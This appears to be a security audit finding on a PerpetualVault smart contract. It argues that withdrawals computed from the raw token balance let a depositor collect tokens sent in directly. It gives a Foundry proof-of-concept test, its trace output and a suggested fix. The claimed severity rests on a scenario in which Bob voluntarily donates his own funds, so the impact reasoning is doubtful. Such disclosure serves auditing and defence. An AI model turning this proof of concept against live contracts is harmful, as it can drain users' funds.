Summary
There is a critical issue in the PerpetualVault
contract's share calculation mechanism during withdrawals. This issue allows users to get more than they should.
Vulnerability Details
-
-
function _handleReturn(uint256 withdrawn, bool positionClosed, bool refundFee) internal {
(uint256 depositId) = flowData;
uint256 shares = depositInfo[depositId].shares;
uint256 amount;
if (positionClosed) {
amount = collateralToken.balanceOf(address(this)) * shares / totalShares;
} else {
uint256 balanceBeforeWithdrawal = collateralToken.balanceOf(address(this)) - withdrawn;
amount = withdrawn + balanceBeforeWithdrawal * shares / totalShares;
}
}
function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {}
catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
}
totalDepositAmount -= depositInfo[depositId].amount;
}
The root of the problem is that the contract does not differentiate between funds coming in through the official deposit function vs. direct transfer, and uses the total balance for withdrawal calculations without validating the source.
The amount calculation uses collateralToken.balanceOf(address(this))
directly for the calculation without distinguishing between officially deposited vs direct transfer funds and does not track the total funds that should be in the vault.
The share calculation formula amount = collateralToken.balanceOf(address(this)) * shares / totalShares
assumes all balances are part of a divisible pool without validating whether the balance increased due to official deposits.
totalDepositAmount
is only updated when deposit and withdraw are official without any check between totalDepositAmount
vs balanceOf
.
Impact
Scenario
1. Alice deposits 100 Token→ gets proportional shares
2. Bob transfers 9900 Token directly → contract balance increases but shares do not change
3. Alice withdraws → calculation uses total balance (10000 Token)
4. Alice gets 10x more than she should
POC
Add this to PerpetualVault.t.sol
and run it forge test --match-test test_ShareCalculationWithdrawalExploit --rpc-url arbitrum -vvvv
.
function test_ShareCalculationWithdrawalExploit() external {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 aliceDeposit = 100e6;
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
vm.startPrank(alice);
deal(address(collateralToken), alice, aliceDeposit);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, aliceDeposit);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(aliceDeposit);
vm.stopPrank();
uint256[] memory aliceDeposits = PerpetualVault(vault).getUserDeposits(alice);
(, uint256 aliceShares,,,,) = PerpetualVault(vault).depositInfo(aliceDeposits[0]);
uint256 totalShares = PerpetualVault(vault).totalShares();
assertEq(aliceShares, totalShares, "Alice should own all shares initially");
uint256 bobAmount = 9900e6;
deal(address(collateralToken), bob, bobAmount);
vm.prank(bob);
collateralToken.transfer(vault, bobAmount);
uint256 vaultBalance = collateralToken.balanceOf(vault);
assertEq(vaultBalance, aliceDeposit + bobAmount, "Vault balance should include Bob's transfer");
uint256 lockTime = PerpetualVault(vault).lockTime();
vm.warp(block.timestamp + lockTime + 1);
vm.startPrank(alice);
executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(alice, aliceDeposits[0]);
vm.stopPrank();
uint256 aliceBalanceAfter = collateralToken.balanceOf(alice);
emit log_named_decimal_uint("Alice's withdrawal amount", aliceBalanceAfter, 6);
assertTrue(
aliceBalanceAfter > aliceDeposit,
"Alice withdrew more than her original deposit"
);
uint256 excessAmount = aliceBalanceAfter - aliceDeposit;
emit log_named_decimal_uint("Excess amount", excessAmount, 6);
assertTrue(
excessAmount > bobAmount * 90 / 100,
"Alice extracted most of Bob's manipulated balance"
);
}
Result:
├─ [304064] TransparentUpgradeableProxy::fallback(100000000 [1e8])
│ ├─ [303439] PerpetualVault::deposit(100000000 [1e8]) [delegatecall]
Alice initially deposits 100 Token (100000000 [1e8]).
├─ [5363] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(TransparentUpgradeableProxy: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 9900000000 [9.9e9])
Bob directly transferred 9900 Token to the vault without going through the deposit function, so he did not get any shares.
├─ [1250] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::balanceOf(TransparentUpgradeableProxy: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
│ └─ ← [Return] 10000000000 [1e10]
Total vault balance becomes 10000 Token (Alice deposit 100 + Bob transfer 9900).
├─ [25263] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 9505000000 [9.505e9])
Alice managed to withdraw 9505 Token, much more than her deposit of only 100 Token.
Logs:
Alice's withdrawal amount: 9505.000000
Excess amount: 9405.000000
Tools Used
Recommendations
Calculate withdrawal amount based on total vault value.
function _handleReturn(uint256 withdrawn, bool positionClosed, bool refundFee) internal {
(uint256 depositId) = flowData;
uint256 shares = depositInfo[depositId].shares;
uint256 totalVaultValue = _totalAmount(prices);
uint256 amount = totalVaultValue * shares / totalShares;
if (amount > 0) {
_transferToken(depositId, amount);
}
}